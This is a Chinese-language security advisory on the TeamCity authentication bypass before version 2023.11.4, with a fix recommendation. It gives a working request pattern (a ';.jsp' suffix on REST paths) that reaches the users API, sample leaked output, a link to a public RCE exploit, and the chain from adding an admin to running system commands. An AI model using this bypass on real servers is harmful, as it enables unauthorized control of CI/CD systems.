一、软件背景
TeamCity是一款由JetBrains公司开发的持续集成和持续部署工具。它提供了一个集成的平台,用于自动构建、测试和部署软件项目。TeamCity支持各种不同的编程语言和版本控制系统,包括但不限于Java、C#、Python、Git、SVN等。
二、影响版本
teamcity@(-∞, 2023.11.4)
三、漏洞分析
JetBrains TeamCity在2023.11.4版本之前存在认证绕过漏洞,由于getJspFromRequest方法中对jsp请求判断不严,导致攻击者可通过使用;.jsp结尾的请求(如/hax?jsp=/app/rest/server;.jsp),绕过身份验证,访问未授权的API。未授权的攻击者可能通过利用该漏洞获取TeamCity管理员access token,从而控制CI/CD服务。
例如请求用户API:
https://x.x.x.x/hax?jsp=/app/rest/users;.jsp
页面会返回以下类似XML文档。
<users count="70">
<user username="admin" name="admin" id="1" href="/app/rest/users/id:1"/>
<user username="kira" name="kira" id="5" href="/app/rest/users/id:5"/>
<user username="coding" name="coding" id="6" href="/app/rest/users/id:6"/>
<user username="guyi" name="guyi" id="7" href="/app/rest/users/id:7"/>
<user username="jsy" name="jiushuyun" id="8" href="/app/rest/users/id:8"/>
<user username="dump" id="9" href="/app/rest/users/id:9"/>
............
四、漏洞利用
https://github.com/W01fh4cker/CVE-2024-27198-RCE/blob/main/CVE-2024-27198-RCE.py
攻击者可以通过先越权添加管理员用户,后通过/app/rest/debug/processes接口执行任意系统命令。
五、漏洞修复
将 TeamCity 升级至 2023.11.4 及以上版本